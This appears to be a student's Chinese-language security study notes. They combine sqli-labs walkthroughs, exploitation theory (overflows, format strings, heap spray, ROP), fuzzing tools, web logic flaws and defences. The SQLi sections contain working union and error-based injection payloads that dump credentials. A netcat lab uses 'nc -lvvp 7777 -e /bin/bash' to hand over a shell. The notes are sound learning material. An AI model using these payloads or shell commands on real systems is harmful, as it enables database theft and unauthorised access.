sql-lab-3

这关输入 ?id=1′ 后根据错误信息判断我们的输入被()包着了,看一眼源码确实是

所以这关从?id=1‘) order by 3/4 –+变化知道跟前三关一样的方法,不过是加上)而已

Sql-lab-2

看题目描述是整数型

那么回忆第一关的做法我尝试了添加 ‘ 发现是报错的,那么仿造第一关用order by 1-n来尝试能不能看到列数发现是不行的。我很坏的看了一下源码,在查询语句那我看到是对get传入的id做判断,没有用 ‘ ‘包裹住,所以我猜测可以试试看:
1 and 1=1 正常
1 and 1=2 错误
呐,这就说明了存在整数型的sql注入点,可以利用。

欸嘿,熟练了这次,那么就可以根据第一关思路来一波order by看看列数
?id=1 and 1=1 order by 3正常
?id=1 and 1=1 order by 4显示不正常
那么说明了有三列,接下来就是继续爆库爆表暴字段爆值

那么其实按照第一关的payload来一遍就好了,只不过把那个 ‘ 去掉

然后看了一下别人的解题,第一关手搓报错感觉挺好玩,我也试一试
这次我们用报错函数:

?id=1′ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) –+
【 FUNCTION security.extractvalue does not exist 尴尬,貌似没有这个函数,查阅资料看看怎么解决】

漏洞利用&渗透测试基础

理解恶意代码的本质与区别:
病毒:
蠕虫:
木马:

两个问题:
1、为啥只是点了一个url啥都没做就中木马?
a:主要有缓冲区溢出等漏洞的存在,执行了以外的代码,在不知情的情况下下载木马并且运行
2、word、excel、ppt等非可执行文件会不会导致恶意代码执行?
a:会的,与1同理。

堆栈基础:
【一个进程可能会被分配到不同的内存区域执行】
进程使用的内存分为:
1、代码区:二进制代码,cpu到这里取指令并执行
2、数据区:存全局变量
3、堆区:进程在此动态申请内存,用完后还。(动态分配和回收)
4、栈区:动态存储函数之间的调用关系,保证被调用函数返回时恢复到母函数中继续执行。

堆区和栈区:
栈(stack):是向低地址扩展的数据结构,是连续的内存分区,栈顶地址跟栈的最大容量是系统预先规定好的,其中windows下默认大小为2MB,当申请超过剩余空间就会报溢出
堆(heap):向高地址扩展,是不连续的内存区域,堆得大小跟计算机的虚拟内存有关。操作系统有记录空闲内存地址的链表【此处请回忆操作系统关于内存的分配与回收】

二进制文件:
PE文件格式【pe是win32可执行文件遵守的数据格式,如*.exe/*dll等】
pe文件格式把可执行文件分成若干数据节(section)
.text:由编译器产生,存放二进制机器码,是反汇编和调试的对象
.data:初始化的数据块,宏定义、全局变量、静态变量等
.idata:可执行文件所使用的动态链接库等外来函数与文件信息
.rsrc:存放程序的资源,如图标等

加壳:可执行程序资源压缩。
加壳是用来保护文件的,加壳过的程序可以直接运行,但不能查看源代码,经过脱壳以后才可以查看源代码。
加壳虽然增加了cpu负担,但是减少了硬盘读写时间(大部分情况)加壳工具通常分为两种:压缩壳和加密壳
压缩壳:减小软件体积大小,加密保护不是重点
加密壳:有些单纯保护程序,有些附加功能,如提供注册机制、使用次数、时间限制。

漏洞:
漏洞的分类:
一、按被攻击者利用的地点
1、本地利用漏洞
2、远程利用漏洞
二、根据形成原因:
1、输入验证错误漏洞
2、缓冲区溢出漏洞:向程序缓冲区输入超过数据长度的数据导致溢出从而破坏对战,使得程序运行其他指令。
3、设计错误漏洞
4、访问验证漏洞
5、配置错误漏洞
6、意外情况处置错误漏洞:没有考虑到处理逻辑。
7、竞争条件漏洞:程序处理文件等实体的时候,在时序和同步方面存在缺陷,导致攻击者可以利用存在的机会窗口施以外来影响。
8、环境错误漏洞
9、外部数据被异常执行漏洞:攻击者在外部输入的非法数据,被系统作为代码解释并且执行,如sql、xss。
三、根据漏洞生命周期不同阶段:
1、0day
2、1day
3、已公开漏洞
四、危险等级划分
1、第一级:紧急
2、第二级:重要
3、第三级:中危
4、第四级:低危

漏洞库
CVE
NVD
CNNVD
CNVD
BugTrag

缓冲区溢出漏洞一些案例
1、vc6程序的例子,书本p52.
主函数没有调用why_here但还是可以执行,因为发生了溢出。在f中声明了数组buff长度为1,但就像我们平时不细心的时候不对下标进行校验,程序就对数组外的内存进行了读写。
buff是静态数组,buff的值是数组在内存的首地址(你看在java里直接打印数组也是打印出数组的地址。),而int buff【1】意味着开辟4字节的整数数组空间,那么buff【2】原本指向是恢复到main函数的地址,如果被其他函数的地址覆盖,那么会进行一个跳转。
2、验证密码的案例,课本p55
密码根据一个返回值判断验证结果,当输入的密码超过了7个字符,越界字符的ascii码会修改掉某些值,比如认证的值,那么如果溢出的数据刚好把认证的值修改成允许通过的值的话,那么程序流程就会改变。

常见漏洞:
一、缓冲区溢出漏洞
缓冲区是一块连续的内存区域,用于存放运行时加载到内存的运行代码和数据。而缓冲区溢出就好比 你把写有你名字的卡片丢到一个快装满的箱子,然后装不下的部分掉到了旁边一个叫做“优秀学生人选”的箱子里,你就一不小心变成了一个优秀学生奖的人选。
缓冲区溢出产生的原因是人没有很好的检查、约束。还有就是缺乏类型安全功能的程序语言(c、c++为了效率部分函数(strcpy、strcat、sprintf、gets等)不对数组边界条件和函数指针引用进行边界检查
措施:
栈随机化
栈破坏检测
限制可执行代码区域

1、栈溢出漏洞
被调用的子函数中写入的数据的长度,大于栈帧的基址到ESP之间预留的保存局部变量的空间时,发生栈溢出。因为数据是从低地址往高地址增长,多出的数据就会越过栈帧的基址,覆盖基址以上的空间。
那么如果多余部分是无效地址,程序会失败,当如果是恶意程序的地址,就会执行恶意程序。
【我想这漏洞的应用应该是用于绕过一些权限执行代码】
2、堆溢出
堆溢出比栈溢出难度更大,但也成为了缓冲区溢出的主要攻击方式,因为可以绕过预防栈溢出的机制。
3、单字节溢出
指的是缓冲区溢出仅能溢出一个字节
通过覆盖堆栈中的返回地址,使程序跳转到shellcode或者指定程序执行。

二、格式化字符串漏洞
与栈溢出相似,最早出现在2000年,是c语言程序常见的攻击方式。
原理:格式化字符串,如c语言print()等函数
print()格式:printf(“format”,输出列表),format的结构为%[标志][输入最小宽度][.精度][长度]类型
类型如下:
%d整形输出,%ld长整型输出
%o以八进制数输出整数
%x以十六进制数输出整数
%u以十进制输出unsign型数据(无符号数)
%c输出字符
%s输出字符串
%f输出浮点,也就是小数
———–

如果调用如printf这些函数,给出了格式化字符串,没有提供实际对用的参数,这些函数就会将格式化字符串后面的多个栈中的 内容 弹出作为参数,并根据格式化符号将其输出。
example:C语言
#include<stdio.h>
int main(void){
int a=1,b=2,c=3;
char buf[]=”test”;
printf(“%s %d %d %d\n”,buf,a,b,c);
return 0; }
———————-
debug: test 1 2 3
———————-
当我们增加一个参数的时候如printf(“%s %d %d %d %x\n”,buf,a,b,c);
———————-
debug:test 1 2 3 c30000
这里c30000是因为%x没有对应的参数,所以自动在栈区找下一个地址作为参数输入

可以相当于是任意内存的读取。

利用%n格式符写入数据
%n:把前面已经打印的长度写入某个内存地址
example:c语言
#include<stdio.h>
main()
{
int num=66666666;
printf(“before:num=%d\n”,num);
printf(“%d%n\n”,num,&num);//第一个参数是num的值,第二个参数是num的地址
printf(“after:num=%d\n”,num);
}
————————-
debug:
before:num=66666666
66666666
after:num=8
————————–
这说明了确实可以写入数据到内存,那么当写入的数据是一个函数的返回地址就可以控制程序的使用流程。不过需要使用printf的特性:自定义打印字符串宽度
在格式符中间加上一个十进制整数来表示输出的最少位数,如果实际要比定义多,就按照实际,实际要少的话就会补0
—————————–
修改一下第二条 printf(“%100%n\n”,num,&num);
结果就是num会被改成100.
因此要想写入地址,比如0x8048000,其对应十进制:134512640作为控制宽度就行
如:printf(“%0134512640d%n\n”num,&num);
debug之后num的值为 8048000

三、整数溢出漏洞
我们知道,整数可以分为有符号数和无符号数
有符号数正数最高位:0
有符号数负数最高位:1
当进行运算时结果如果大于该类型的表示范围,就会发生溢出。
整数溢出可以分为三个大类:
1、存储溢出
使用另外的数据类型来存储整型数。如把大的变量放到小的变量的存储区域,最后只能保存小变量可以储存的位。
2、运算溢出
对整形变量进行运算时没有考虑边界范围,造成运算后的数值范围超出空间
3、符号问题
由于在开发过程中一般长度变量使用无符号整型数,当程序员忽略了符号,进行安全检查的时候会容易出现问题。

——–软件防护技术————————————–

1.ASLR(Address Space Layout Randomization)地址空间分布随机化
通过将系统关键地址随机化,使攻击者无法获得需要跳转的精确地址的技术。函数的地址一般是系统DLL、可执行文件本身、栈数据或者PEB(process environment block)中的固定地址。
ASLR随机化的关键地址包括:PE文件映像地址、堆栈基址、堆地址、PEB和TEB(thread environment block)地址等。
当程序启动将执行文件挂加载到内存,os通过内核提供该功能,在原来的映像基址上加随机数为新的基址。随机数的范围为 1~254 .
2.GS Stack protection
一项缓冲区溢出的检测防护技术。当编译器有这个功能时,编译器针对函数调用和返回时添加保护和检查功能的代码,在函数被调用时,在缓冲区和函数返回地址增加了一个32位的随机数security_cookie,返回时检查cookie有无变化。
3.DEP(data execute prevention)数据执行保护
限制内存堆栈区的代码为不可执行状态,防止溢出后的代码执行。
window中将包含执行代码和dll文件的txt段既代码段的内存区域设置成可执行代码的内存区域,其他区域不包含执行代码。
然而在xp以及之前的os没有做出限制。
启动DEP之后会将敏感区域设置为不可执行的non-executable标志位。因此跳转了也不能执行就防止了攻击。
4.safeSEH
SEH(structured exception handler)是windows异常处理机制所采用的重要数据结构链表。程序设计者diy定义程序发生异常的时候的应对函数,保存在SEH中。如果攻击者构造的代码通过溢出覆盖SEH中异常处理函数句柄,会发生执行攻击指令的情况。
safeSEH用来保护SEH。当该选项启动,程序会将pe文件中合法的SEH异常处理函数的地址解析出来制成一张SEH函数表,放于PE文件的数据块中,用于异常情况处理时检查。
当发生异常,通过对每个处理异常的函数检查其是否在SEH中,如果没有就是该函数非法,终止异常处理;接着检查句柄是否在栈上,如果在栈上也将终止。
上述两个步骤可以防止在堆上伪造异常链和把shellcode放在栈上的情况,最后还要检测异常处理函数和句柄的有效性。【vista版本开始,pe文件都采取SafeSEH编译选项。】
5.SEHOP(structured exception handler overwrite protection)结构化异常处理覆盖保护
通过对程序使用的SEH结构进行一些安全检测,判断应用程序是否受到了SEH攻击。原理时检测程序栈中所有SEH结构链表的完整性。

——————

漏洞利用技术:
即使开启了微软的应用保护的技术,还是有很多手段绕过或者找到其他利用方式
一、地址利用技术
根据触发的条件不同,内存给调用函数分配内存的方式不同,shellcode植入的地址也不同
1.静态shellcode地址的利用技术
当存在溢出的程序是os自启动的程序,他的内存地址、函数调用时分配的栈帧地址一般都是固定的,此时溢出之后写入栈帧的shellcode的内存地址也是静态。因此可以直接将shellcode代码在栈帧的静态地址直接覆盖到原来的返回【所以为什么有些病毒啊啥的删除了重启还存在】
————————
2.动态变化的shellcode地址利用技术
当漏洞存在于动态链接库中,而这些库会被动态加载,因此每一次执行地址都是动态的。所以要利用漏洞就需要每一次都能定位到shellcode的起始地址。
那么需要利用esp寄存器的特性来解决。
第一步:找到内存中任意一个汇编指令 jmp esp,这条指令执行后可以跳转到esp寄存器保存的地址,准备在溢出后将这条指令的地址覆盖返回地址
第二步:设计好利用缓冲区漏洞的数据,使得覆盖返回地址为jmp esp指令的地址,再覆盖与返回地址相邻的高位地址并写入shellcode
第三步:函数完成后返回,根据返回地址中指向jmp esp指令的地址去执行jmp esp操作,此时出触发前两步设置好的代码,shellcode被执行
【mov eax,esp和jmp eax等也可以实现进入栈区的功能】
—————————
3.heap spray技术
如果有些软件漏洞不能精确定位shellcode,同时加载地址也是动态变化时应该采取heap spray技术了。
heap spray(堆喷洒)是在shellcode前面加上大量的滑板指令(slide code)组成一段很长的注入代码段,然后反复向内存填充,再结合漏洞利用技术是程序跳转到堆中任意一个注入代码的地址,程序指令就会顺着滑板代码最终执行到shellcode代码
滑板指令(slide code)是由大量NOP(no-operation)空指令0x90填充组成的指令序列。当程序遇到这些nop指令,cpu的指令指针会一个一个执行不做任何具体操作,直到到最后一个指令,开始执行之后的指令,执行的往往是shellcode代码。
—————————–

二、绕过DEP保护
因为有些代码需要在不可执行区域执行,所以有时候DEP会出错
微软提供两种DEP配置
Opt-In Mode:DEP只对系统进程和特别定义的进程启用
Opt-Out Mode:对所有进程和服务启用,除了禁用的进程。
基本思想:
ROP(return-oriented programming)返回导向编程,基于代码复用,允许绕过DEP和ALSR但是不能绕过GS。ROP允许攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码
1.rop 通过rop链(retn)实现有序汇编指令的执行
2.rop链由一个一个rop代码块组成
3.rop代码块时由“目的执行指令+retn指令”组成


漏洞挖掘

首先要明白检测漏洞的技术
软件安全检测技术:
1.软件静态安全检测技术
2.软件动态安全检测技术
3.软件动静结合的安全检测技术

静态检测

针对未处于运行状态的软件开展的安全分析测试,一般对源代码和可执行文件。
包括:词法分析、数据流分析、污点传播、符号执行、模型检验、定理证明
1.词法分析:对代码进行基于文本或者字符标识的匹配分析对比,来找到符合特征的危险函数,API等
【工具:checkmarx、ITS4】
2.数据流分析:分析代码的变量的取值的变化和执行的情况,分析流程控制。
【工具:coverity、klockword】
3.污点传播分析:分析代码中输入数据对程序执行路径的影响,来发现不可信的输入数据导致的程序执行异常。
【工具:pixy】
4.符号执行:在不是实际执行的过程中将程序的输入表示为符号,根据执行流程和输入参数的赋值变化,把程序的输出表示成包含这些符号的逻辑或者算数表达式。
【工具:exe、sage、smart】
5.模型检验:将程序执行过程抽象为状态迁移的模型,采用状态迁移过程中的安全属性的验证来判断程序的安全性质。
【工具:slam】
6.定理证明:转化为数学上的定理证明
【误报率低,在静态检测中最为准确】
【工具:saturn】

由于对于软件、可执行文件的检测几乎都是通过反汇编得到的汇编代码进行检测,缺少语义分析,误报率高。因此要先反汇编之后,把汇编代码转化为中间语言,在分析中间语言基础上针对得到的部分语义信息进行缺陷和漏洞的检测。
比较广泛使用的两种中间语言:
1.二进制插装平台binnavi的REIL
2.动态插装平台valgrind的VEX

静态安全检测实践:
IDA Pro是常用的反汇编工具。它提供的一些函数调用信息和代码引用信息,可以定位程序中调用strcpy、memcpy、spritf等危险函数的代码位置,再通过分析传入的参数信息判断是否存在缓冲区溢出漏洞或者是格式化字符串漏洞

动态检测

对于正在运行的程序,通过构造非正常的输入来检测是否出现故障或者崩溃等非正常输出,并通过检测软件运行中的内部状态信息来验证或者检测软件缺陷。动态检测对象是可执行代码,准确率高,误报率低。
主要技术:模糊测试、智能模糊测试和动态污点跟踪

1.模糊测试(fuzzing)是自动化或半自动化的安全漏洞检测技术,通过向目标软件输入大量的畸形数据,观察异常发现潜在的漏洞,属于黑盒测试。
缺点:数据生成比较随机,导致覆盖率不高
工具:SPIKE、Peach

步骤:
1.确认测试对象和输入数据
2.生成模糊测试数据
3.检测模糊测试数据
4.监测程序异常
5.确定可利用性

2.智能模糊测试(最普遍)smart fuzzing
相比模糊,这个方法是引入了基于符号执行等可进行程序理解的方法,有针对性的设计测试用例.

步骤:
1.反汇编:需要对可执行文件进行输入数据、控制流、执行路径之间相关关系分析
2.中间语言转换
3.采用智能技术分析输入数据和执行路径的关系
4.利用分析获得的输入数据集合,对执行路径集合进行测试
工具:TaintScope
【核心思想是用小代价去找最有可能产生漏洞的执行路径集合,避免盲目的对程序进行全路径覆盖测试。】

3.动态污点分析dynamic taint analysis
通过分析内部真实指令的执行过程,追踪数据在程序内部的传递、处理流程、操作是否涉及安全问题从而分析出潜在的漏洞。
工具:bibblaze
外部不可信的数据被打上唯一标签之后可以被跟踪

动态监测实践:
【工具:FileFuzz】
1、非明文格式特殊文件
比如用记事本打开txt能看到明文,但是记事本打开ppt会乱码,但是通过编辑16进制文件是可以做到修改的。
【玩ctf杂项的时候经常需要查看文件16进制格式,看看文件头有没有藏着什么有用的消息,比如图片格式或者加密的标志位判断是真的加密了还是伪加密而已】
工具:010edited、UltraRdit
用自动化工具发掘
2.使用filefuzz
fliefuzz采用字节替换法批量生产待测文档文件,然后将待测文档逐一调用相应的文件处理,并且监视过程中发生的错误,记录错误。
【安装fliefuzz前要安装 .net framework框架组件包】

动静结合

将动态分析和静态分析结合起来对二进制进行分析
工具:bitblaz
BitBlaze由三部分组成:TEMU、Vine、Rudder

TEMU:动态分析模块,实质是一个虚拟机,实现全系统模拟,既可以跟踪用户控件的指令流,也能跟踪进入系统内核,记录指令流和操作数

Vine:静态分析模块,分前端后端,把二进制变成Vine中间语言(VIL),后端用来在VIL做静态分析,比如函数调用图和控制流图等,vine后端模块记录追踪路径的约束条件,可将某个路径约束取反,生成满足新路径约束条件的输入

Rudder:是一个混合进行符号执行和实际执行的模块。
如果检测到符号输入影响到执行路径的选择,模块就会将具体执行和符号执行结合,探测多条可执行路径。

复现反弹powershell

不要搞放在公网上的一切资产!

实验工具:kali两台(一台正向一台反向)、netcat(kali自带)
实验平台:vmware15.5
实验目的:理解powershell的目的,通过netcat来实现反弹,从而深入理解相关漏洞的危害

实验步骤:
1、启动两台kali,让彼此能ping通
使用 ifconfig 查看各自的ip地址
Debian作为攻击机 ip地址为192.168.245.134
kali2020作为被攻击机 IP地址为192.168.245.130
因为两台机子都用nat(网络地址转换)模式,所以可以ping通,主要模拟对公网设备实施操作。

2、正向反弹:
在Debian上 nc -lvvp 7777 -e /bin/bash
在kali上 nc 192.168.245.134 7777
结果就是可以在kali上拿到Debian的shell比如执行ls可以看到debian的目录

实验总结:本次实验简单试了一下netcat关于powershell反弹,简单的两句命令就能拿下服务器,可见如果不做好网络防护是多么危险的事情。netcat功能很多,可以通过很多种方式反弹,也不局限某个系统,不管windows、linux、macos都能利用。
注意到这次试验成功的前提是两台机子都有nc工具,才实现效果。那么如何利用,就要从网站的一些功能点下手,通常找到一些上传、下载的点,或者一些特殊的网站能直接运行命令(例如在线靶场),当我们取得某一权限(用户或者更高等级)之后上传工具或者脚本、木马等到后台,就可以进行下一步动作,可以用蚁剑连接,可以通过脚本运行本次实验的指令,让我们再攻击机就能控制目标主机权限。

尝试解决wordpress的问题

useradd nginx -s /sbin/nologin -M 添加用户,把wordpress丢到这个用户组点不要老是问我要root权限。让我康康成功没

没有成功,差点给我改没了。。。还好平时注意截图。

参考了csdn上两篇博客:

【WordPress免FTP登陆】 我复制了三句话,还没改回来。

【解决wordpress无法安装主题插件、不能上传图片、不能自动更新等问题】 我创建了nginx3 新用户,其他不敢动了。 或者是我动的太多,改天一定要把这个问题解决,没有图片怎么行,不行


没办法整惨了,用宝塔,以后有机会自己搭建的时候再看看怎么搞

一些有用的博客,网站

1、forum.ywhack.com[棱角]:包含在线工具,安全字典等,好用

2、ip138.com 用来查询ip等信息的网站

3.www.cnseay.com :seay网络安全博客

4.www.oday5.com :漏洞时代

Sql-lab-1

还是想先从sql好好学,之前pikachu感觉emmmmmmmmmmm

首先网上我们需要打开phpstudy的apache和mysql,注意如果有占用端口不能正常启动那就kill掉占用端口的进程或者改端口。然后是因为这个sqli-labs是印度的一个老哥很多年前写的了所以新的php版本(php7以及以上)有些语句不适用,要么进入文件修改要么就是phpstudy把php版本降低就可以正常使用了。

第一关:
根据提示在url里面我输入 ?id=1 进行查询得到结果,能在url看到查询情况说明处理表单的模式为GET。我注意到当我在语句后加上如‘会被转义成%27,其他的字符也被转义了,但是没有报错,查阅资料是说因为php版本配置文件中的魔术引号被打开,找到magic_quotes_gpc=On改为Off,然后重启apache就好了。我发现每次配置些都会遇到些问题hhh

【在学习《代码审计》的时候提到为什么知道软件,或者中间件的版本号泄露是多么危险的事情,因为根据特性不但可以利用已知的漏洞,还会根据特性构造不同的paylaod】

那么接着继续做,重新输入?id=1’后报错了。那么既然有报错的回显,还能查询id对应的用户名以及密码,首先就想通过构造payload显示更高权限的用户名和口令,那么就得知道查询的语句,当然少不了知道数据库名,表名,列名,字段名等.

所以为了减少手动输入的麻烦,用bp的repeater来帮我发送。
在url里输入
?id=1′ order by 1 –+ 正常

?id=1′ order by 2 –+ 正常

?id=1′ order by 3 –+ 正常

?id=1′ order by 4 –+ 不正常 Unknown column ‘4’ in ‘order clause’

这里用order by 排序,目的是看看列数,因此这关是有3列,也就是说我们可以在构造payload的时候把结果显示在前三列中。

那么我们先看看数据库的名字,用database()是可以的,因此payload为 ?id=-1′ union select 1,2,database() –+使用联合查询把数据库名显示在第三列那。爆出库名为security
那么接下来是爆表名:
?id=-1′ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+

【根据之前的知识,mysql5.0以及以后的版本里,表名这些东西被保存在information_schema里,“.”表示上一级;那么这条payload的意思是在xx.tables 里找securi库的表名,group_concat(table_name):[concat(str1,str2):表示把多个字符串变成一个字符串/group_concat(str1,str2):
将group by产生的同一个分组中的值连接起来,返回一个字符串结果,也就是所谓的把多行转化为一行(也就是所谓的列转行,Oracle中对应wm_concat) ]】

刚才的payload爆出来有个表叫users,可以判断为目标表,下一步就是构造爆字段的payload,同样的也可以在informa_schema里找到,payload如下:
?id=-1′ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ –+
可以看到结果是
id,username,password,level,id,username,password
知道了字段名,之后就是爆值。

构造payload:?id=-1′ union select 1,2,group_concat(username,0x3a,password) from users –+

【可以看到得到了admin账户的密码。

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username 。也可以用别的符号进行分割,第一关算是完成了。】 第一关学习到了sql的联合查询语句,以及回忆起保存数据的information_schema的使用,总的来说遇到有回显错误的可能注入点,通过从列数,库名,表名,字段名,值一步一步构造payload来得到答案。本次操作有很多参考了csdn上的文章

代码审计

信安数学基础课看代码审计,第二部分8.2神奇的字符串一节。

很多时候报错信息会泄露一些敏感信息,比如说路径位置、代码、变量等(注意到,要想看到错误信息,php配置文件中的php.ini中要设置display_errors=on或者加入一些函数),其中很多时候我们网页中使用绝对路径来标记某个资源,当比如php语句出错了,而服务器有php解析功能并且也打开了刚才提到的设置,那么我们在网页中是会看到报错信息的,信息很有可能就包含有绝对路径。

因为我自己写php代码放在服务器上运行的时候,由于代码错误,比如“”少了某一个或者少了分号,网页就提示了我代码哪一行有问题,同时还给出了绝对路径。 那么就顺着这个部分继续看看能学到些什么,像我前段时间看《代码审计》的时候多次看到关于截断技术,比如在sql宽字节注入部分那。对%00、%25、%27有点印象


php内置的一些过滤函数
1、sql注入的过滤函数:addslashes()、mysql_real_escape_string()、mysql_escape_string()
他们的作用都是给字符串加上反斜杠“\”来转义:单引号(‘)、双引号(“”)、反斜杠(\)、以及空字符NULL。但是他们可能存在宽字节绕过的问题,

2、xss过滤函数:htmlspecialchars()、strip_tags()这两个函数
htmlspecialchars():将特殊字符转成html实体编码,如
&转成&amp;
“转成&quot;
‘转成&#039;
<转成&lt;
>转成&gt;
能干掉很多xss攻击——————————
strip_tags():用来去掉HTML和PHP标记,如传入“<h1>xxxxxxxx</h1>”会得到“xxxxxxx”

3、命令执行过滤函数:
通常执行系统命令注入会用到 || 以及 & 等字符,为防止系统命令注入有:
escapeshellcmd():过滤 如; & * ( ) [ ] \x0A \xFF等
escapeshellarg():给所有参数加上双引号(”)强制为字符串


关于加密方式:
1.对称加密
2.非对称加密
3.单向加密(不可逆的)如MD5
【目前全球公开的最大md5网站:cmd5.com 解密率全球第一】
php的MD5函数:md5() 传入字符串就能得到结果
SHA-1用的比较少,相对MD5可能更加安全


业务功能安全;
[设计的时候考虑到安全十分关键!]
如下一些功能点帮助减少逻辑层面的漏洞问题:

一.验证码
防止撞库神器,但是80%以上的验证码存在爆破或者简单识别,所以应该设计好一点的验证码

我们来看看验证码的绕过:
1.不刷新直接绕过:
当一个web页面登陆操作的验证码能够多次使用,说明后端接收到一次请求之后不会去主动刷新验证码。大的业务使用负载均衡,验证码和session时捆绑在一起的,也就是会把验证码明文或者密文放在post包里。所以只要同一个数据包里的两个验证都对的上就能绕过

2.暴力破解
如果没有设置时间限制或者次数限制,那么就能爆破

3.机器识别
不是实时生成的:
把全部验证码文件保存,做一个图片的md5库,利用的时候直接匹配服务器端返回的图片md5
实时生成的:
要做图片文字识别或者语音识别。云速公司提供类似功能。

4.打码平台
就是人工。。。。

措施:
应对这些问题,首先也是最重要的是要验证输入的次数,避免暴力;不把验证码放在html或者cookie里;验证码设置为只能请求一次,不管结果如何都必须刷新;验证码要加入多样干扰;要动态生成,不能统一生成多次调用。

验证码资源滥用(危害)
短信轰炸,邮箱轰炸:很多工具利用大量网站的短信验证接口,这些接口没有限制获取验证码次数和时间间隔,因此可以被不断的调用。
【措施】限制单个手机号请求短信的次数,限制某个ip请求次数


二.用户登录
跟权限相关,是个很重要的功能点
1.撞库漏洞
登录口不做次数验证,导致可以使用不同的用户和密码来尝试暴力破解,遍历用户。
a.用户名和密码错误无限制
b.一个时间段内用户的密码错误次数限制
c.一个时间段内ip登录错误次数限制


API登录
以qq邮箱、qq空间免密登录为例子
只要拿到clientkey就可以登录当前qq号,此时需要注意
1.登陆密钥clientkey需要不可预测和不固定,生成算法要加入随机数
2.API接口jin’zhi搜索引擎收录
3.登陆密钥绑定当前登陆的主机,换了机器不可用,为了防止qq木马和嗅探key;


三.用户注册

防范恶意:
1.验证码
2.采集机器码,限制次数
3.根据账号格式拉黑
4.防止sql、xss


四.密码找回
密码找回是逻辑漏洞出现最多的一个功能,常见有邮箱、手机号短信找回、密保问题等。
找回密码三大流程,问题
1.输入用户名邮箱、手机
试着抓包修改手机、邮箱参数,如果没有做后端验证,那么验证码就会发到攻击者手上,攻击者就会重置密码。
2.填写验证码和填写新的密码阶段
a.验证凭证过于简单,可以被暴力破解
b.验证的算法过简单,可以被猜测
c.验证凭证直接保存在源码里
3.发送新密码阶段
凭证未绑定用户,改包把参数直接改成攻击者想到的密码
——–

措施:
1、接收验证码的邮箱和手机直接从数据库读取
2、加强验证难度
3、限制错误次数
4、验证凭证失效时间
5、凭证不要保存在页面
6、验证凭证要跟用户名、用户id、用户邮箱绑定,找回密码的时候要验证当前凭证是否是当前用户的

五.资料查看与修改
这主要涉及到个人隐私问题以及权限问题
1.未验证用户权限:
比如id为111的用户修改url为222可以查询222的信息
2.未验证当前登录用户:
xss就利用用户的cookie、或者从post、get获取id,当修改就相当于冒用身份。


防御:
1.绑定用户id与资源id,只允许有权限的用户查看
2.当前用户信息传给session

六.投票、积分、抽奖
利用:
1.cookie或post’请求正文绕过:
找到一些标志,如isok=1代表抽过了,改包isok=0就能绕过
2.基于ip验证:
伪造ip,或者用网上的更改ip的服务达到每次请求用不同ip的效果
3.基于用户的认证:

防御:
1.绑定机器吗
2.操作需要登录,信息要从session获取

七.支付充值
防御:
1.保证数据可信,商品的单价,总价不能从客户端获取
2.购买数量不能小于等于零
3.账户支付锁定机制,当一个支付操作开始立刻锁定用户。

八.私信和反馈
因为互动性可能会诱使管理员点到含xss的数据,管理员cookie被窃取


九.远程地址访问
wordpress、phpcmsd等有远程地址获取资源的功能,容易有ssrf
防御:关注短链接

十.文件管理
增删改查上传下载,哪个都能被利用,要是我的博客被拿下,黑客给我挂马,那么别人访问我博客的时候就是受害人中招的时候。
应对方法:
1.禁止写入脚本可在服务端执行的文件:
比如网站可以解析php,就要限制,不能操作.php扩展名的文件,不能操作php标签的代码
2.限制文件管理功能的操作的目录:
明确功能,限制只能操作的目录。当遇到需要进行目录跳转, 禁止提交 ../ 以及 \.. 避免越权操作其他目录
3.限制文件管理功能访问权限:
4.黑白名单限制上传的文件格式

十一.数据库管理
防御:
1.限制可以操作的数据表
2.限制可以备份到服务器上的文件名

十二.命令、代码执行
命令执行和代码执行的功能一般在系统后台,加上文件管理和数据库管理就构成了webshell的功能。
防御:
1.严格控制该功能的访问权限
2.在可以满足业务需求前提下,设置针对命令的白名单,使用escapeshellcmd()和escapeshellarg()来过滤,命令写死在代码里的话最好
3.给命令、代码执行设置独立密码
4.代码执行功能限制脚本可访问路径
5.限制当前执行命令的系统用户权限

十三.文件、数据库备份
容易出现的问题:
1.非授权访问、越权访问
2.备份文件名可以预测
3.生成的文件可以利用web中间件解析漏洞执行代码

防御:
1.权限控制
2.文件名随机生成,不可预测

十四.API
API返回的形式一般有JSON、序列化、base64编码等
防御:
1.访问权限控制
2.防止敏感信息泄露


应用安全体系建设

企业安全防御:横向细化策略、纵深策略

横向细化:能杀一个是一个,依靠规则的数量来填补空洞,但是提高了攻击和防御的成本

纵深策略:假设上一层防御失效而设计的内网防御策略

1.用户密码安全:
要求强密码
禁止密码与用户名相同或者相似

2.前后用户表分离

3.后台地址隐藏
【工具:御剑】扫描网站目录,原理应该也是基于字典的爆破。
应对:
后台目录不能固定(即修改默认的文件名)
最小权限原则

4.密码加密保存

5.登陆限制
1)限制登录ip
2)双因素认证

6.API站库分离
不是简单的web服务器和数据库服务器分开,而是指调用api的方式调用数据
在web与数据库之间加一台api服务器,数据库配置只允许api服务器访问。然后监控api接口,当发现频繁被用可能就存在刷库行为。

7.慎用第三方

8.严格的权限控制

9.敏感操作多因素验证

Sql注入

也是学习《sql注入攻击与防御》的笔记

1、一些数据库的管理员或者知名账户
oracl:sys、system、 dbsnmp、ouyln
sql server:sa
mysql:root、anonymous

2、mysql(5.0以及之后的版本)的元数据(数据库的内部数据)在INFORMATION_SCHEMA的数据库中,也就是存着所有数据库的名,所有字段的名等。
用SHOW DATABASES;
SHOW TABLES; 来访问元数据

3、继续阅读《sql注入攻击与防御》一书,对于sql注入漏洞的历史,当互联网第一次跟数据库连接的时候,就注定有了,那么它第一次引起公众注意的是1998年的圣诞节。

4、识别sql注入:通过发送意外数据触发错误/异常。
(1)识别web应用所有的数据输入
(2)了解哪种类型的请求会触发异常
(3)检测服务器响应的异常

5、架构(b/s、c/s)今天cj跟我探讨过这两个架构,刚好现在阅读也看到了。
b/s架构:既浏览器、服务器,好处就是当业务更新的时候只需要在服务器更新就可以了,用户可以在浏览器看到更新的内容。
c/s架构:既客户端、服务端,当有一个更新的时候,不仅服务器需要更新,客户端也要更新,好处就是服务端可以处理很多本地数据,比如在我们平时玩的游戏中,加载画面,进行运算很多都是在客户端本地计算来获得流畅度。

6、继续巩固GET、POST请求的区别
